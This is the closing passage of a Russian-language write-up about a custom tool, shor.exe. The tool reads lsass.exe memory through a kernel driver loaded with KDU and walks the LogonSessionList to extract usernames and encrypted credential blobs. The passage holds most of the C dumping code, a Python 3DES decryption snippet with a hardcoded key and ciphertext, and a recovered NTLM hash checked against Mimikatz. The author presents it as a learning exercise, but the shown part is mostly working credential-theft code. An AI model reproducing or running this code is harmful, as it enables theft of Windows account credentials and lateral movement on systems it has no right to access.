needle_buffer = (PBYTE)malloc(sizeof(LOGONSESSIONLIST_NEEDLE));
memcpy(needle_buffer, &LogonSessionList_needle, sizeof(LOGONSESSIONLIST_NEEDLE));
offset_LogonSessionList_needle = memmem((PBYTE)lsasrv, lsasrv_size, needle_buffer, sizeof(LOGONSESSIONLIST_NEEDLE));
memcpy(&LogonSessionList_offset, lsasrv + offset_LogonSessionList_needle + 0x17, 4);
printf("[*] LogonSessionList Relative Offset: 0x%08llx\n", LogonSessionList_offset);
LogonSessionList = original + offset_LogonSessionList_needle + 0x17 + 4 + LogonSessionList_offset;
printf("[*] LogonSessionList: 0x%08llx\n", LogonSessionList);
printf("\t\t===================[LogonSessionList]===================");
while (currentElem != LogonSessionList) {
if (currentElem == 0) {
currentElem = LogonSessionList;
}
memcpy(¤tElem, lsasrv + offset_LogonSessionList_needle + 0x17 + 4 + LogonSessionList_offset, 8);
printf("Element at: 0x%08llx\n", currentElem);
LPSTR currentElem_tmp = (LPSTR)malloc(sizeof(KIWI_BCRYPT_KEY81));
currentElem_tmp = dumpUsermode(hDevice, EPROCESS_lssas, (DWORD64)currentElem, sizeof(currentElem), EPROCESS_GetProcess);
memcpy(¤tElem, currentElem_tmp, sizeof(currentElem_tmp));
free(currentElem_tmp);
USHORT length = 0;
LPWSTR username = NULL;
ULONGLONG username_pointer = 0;
LPSTR length_tmp = (LPSTR)malloc(sizeof(length));
length_tmp = dumpUsermode(hDevice, EPROCESS_lssas, (DWORD64)currentElem + 0x90, sizeof(length), EPROCESS_GetProcess);
memcpy(&length, length_tmp, sizeof(length_tmp));
free(length_tmp);
username = (LPWSTR)malloc(length + 2);
memset(username, 0, length + 2);
LPSTR username_pointer_tmp = (LPSTR)malloc(sizeof(username_pointer));
username_pointer_tmp = dumpUsermode(hDevice, EPROCESS_lssas, (DWORD64)currentElem + 0x98, sizeof(username_pointer), EPROCESS_GetProcess);
memcpy(&username_pointer, username_pointer_tmp, sizeof(username_pointer_tmp));
free(username_pointer_tmp);
LPSTR username_tmp = (LPSTR)malloc(sizeof(username));
username_tmp = dumpUsermode(hDevice, EPROCESS_lssas, (DWORD64)username_pointer, sizeof(username), EPROCESS_GetProcess);
memcpy(username, username_tmp, sizeof(username_tmp));
free(username_tmp);
wprintf(L"\n[+] Username: %s \n", username);
free(username);
ULONGLONG credentials_pointer = 0;
LPSTR credentials_pointer_tmp = (LPSTR)malloc(sizeof(credentials_pointer));
credentials_pointer_tmp = dumpUsermode(hDevice, EPROCESS_lssas, (DWORD64)currentElem + 0x108, sizeof(credentials_pointer), EPROCESS_GetProcess);
memcpy(&credentials_pointer, credentials_pointer_tmp, sizeof(credentials_pointer_tmp));
free(credentials_pointer_tmp);
if (credentials_pointer == 0) {
printf("[+] Cryptoblob: (empty)\n");
continue;
}
printf("[*] Credentials Pointer: 0x%08llx\n", credentials_pointer);
ULONGLONG primaryCredentials_pointer = 0;
LPSTR primaryCredentials_pointer_tmp = (LPSTR)malloc(sizeof(primaryCredentials_pointer));
primaryCredentials_pointer_tmp = dumpUsermode(hDevice, EPROCESS_lssas, (DWORD64)credentials_pointer + 0x10, sizeof(primaryCredentials_pointer), EPROCESS_GetProcess);
memcpy(&primaryCredentials_pointer, primaryCredentials_pointer_tmp, sizeof(primaryCredentials_pointer_tmp));
free(primaryCredentials_pointer_tmp);
printf("[*] Primary credentials Pointer: 0x%08llx\n", primaryCredentials_pointer);
USHORT cryptoblob_size = 0;
LPSTR cryptoblob_size_tmp = (LPSTR)malloc(sizeof(cryptoblob_size));
cryptoblob_size_tmp = dumpUsermode(hDevice, EPROCESS_lssas, (DWORD64)primaryCredentials_pointer + 0x18, sizeof(cryptoblob_size), EPROCESS_GetProcess);
memcpy(&cryptoblob_size, cryptoblob_size_tmp, sizeof(cryptoblob_size_tmp));
free(cryptoblob_size_tmp);
if (cryptoblob_size % 8 != 0) {
printf("[*] Cryptoblob size: (not compatible with 3DEs, skipping...)\n");
continue;
}
printf("[*] Cryptoblob size: 0x%x\n", cryptoblob_size);
ULONGLONG cryptoblob_pointer = 0;
LPSTR cryptoblob_pointer_tmp = (LPSTR)malloc(sizeof(cryptoblob_pointer));
cryptoblob_pointer_tmp = dumpUsermode(hDevice, EPROCESS_lssas, (DWORD64)primaryCredentials_pointer + 0x20, sizeof(cryptoblob_pointer), EPROCESS_GetProcess);
memcpy(&cryptoblob_pointer, cryptoblob_pointer_tmp, sizeof(cryptoblob_pointer_tmp));
free(cryptoblob_pointer_tmp);
printf("Cryptoblob pointer: 0x%08llx\n", cryptoblob_pointer);
unsigned char* cryptoblob = (unsigned char*)malloc(cryptoblob_size);
LPSTR cryptoblob_tmp = (LPSTR)malloc(cryptoblob_size);
cryptoblob_tmp = dumpUsermode(hDevice, EPROCESS_lssas, (DWORD64)cryptoblob_pointer, cryptoblob_size, EPROCESS_GetProcess);
memcpy(cryptoblob, cryptoblob_tmp, cryptoblob_size);
printf("[+] Cryptoblob:\n");
for (int i = 0; i < cryptoblob_size; i++) {
printf("%02x", cryptoblob[i]);
}
printf("\n");
free(cryptoblob_tmp);
break;
}
printf("\t\t================================================\n");
free(needle_buffer);
free(lsasrv);
}
Результат:
И расшифрую полученный результат с помощью python:
from pyDes import *
k = triple_des("221f62e7c7d8e10d612095a6ab610bc2436644180f7274b2".decode("hex"), CBC, "\x00\x00\x00\x00\x00\x00\x00\x00")
print k.decrypt("946854293e1be6cd0502e252a2c427e6065d458c4b2bfe3b5c4b79d700308ab52a5fe373e00d60dfc3627d776f0ebc31f82a5f02b276551eee697ee485626c8858bfdefd67854ff63029ae418855502be06c4c70072772e26b89d7d971ca17b2a5c360130e954f1606b5088297e7dd7b570988b2fb1cf79ce7fd7cd3647392bb165858c81f44f1099664436aa19ed429657fb57f5da7b169d3df91b85ccf8b32e600e0f80debcbc4fc9f355e8f60881f419895bf1589cdb7e9ed44ddc27fcd8e03c815974b405d13f4de760c00d7f159503c75de9ba39d34752bcdc30d72413e9b6e944201c1b84d7b43a1f09821924aab0114a33ca7b0aa59692f67acfe2d1ea7489bda821c921465b5969220e027d51a726486be01d76220f7b870fb3f7c6dd004dc573b2b3f40c80ae7c59461e50f1b08fe42cead0ca77dae19099c9cfa933bff932a3767098084476e4340cd1e99cd65d593c6c1653458b3d3c99078c543a30749d4cffec77c9c350c10be7963112708112b1a9adc729bf92ab8068d740796393d562595a00a9e31975952139df37c9dce429f3eeeeb29d8533bad0eb17832e42407f5b59c65".decode("hex"))[74:90].encode("hex")
NTLM hash: c377ba8a4dd52401bc404dbe49771bbc
Последним шагом будет получить с помощью Mimikatz NTLM hash и сверить его с найденным мной NTLM hash«ом, чтобы удостоверится в правильной работе разработанного приложения (shor.exe).
Найденный мной NTLM hash совпадает с NTLM hash«ом программы Mimikatz.
Вывод.
Подводя итоги, хочу сказать, что это был весьма интересный опыт, благодаря которому я познакомился с проектом KDU, позволяющему загружать не подписанные драйвера. Узнал, как хранится NTLM hash в памяти lsass.exe и как хранится виртуальная память в user-mode.
С исходниками разработанного приложения можно ознакомится на github.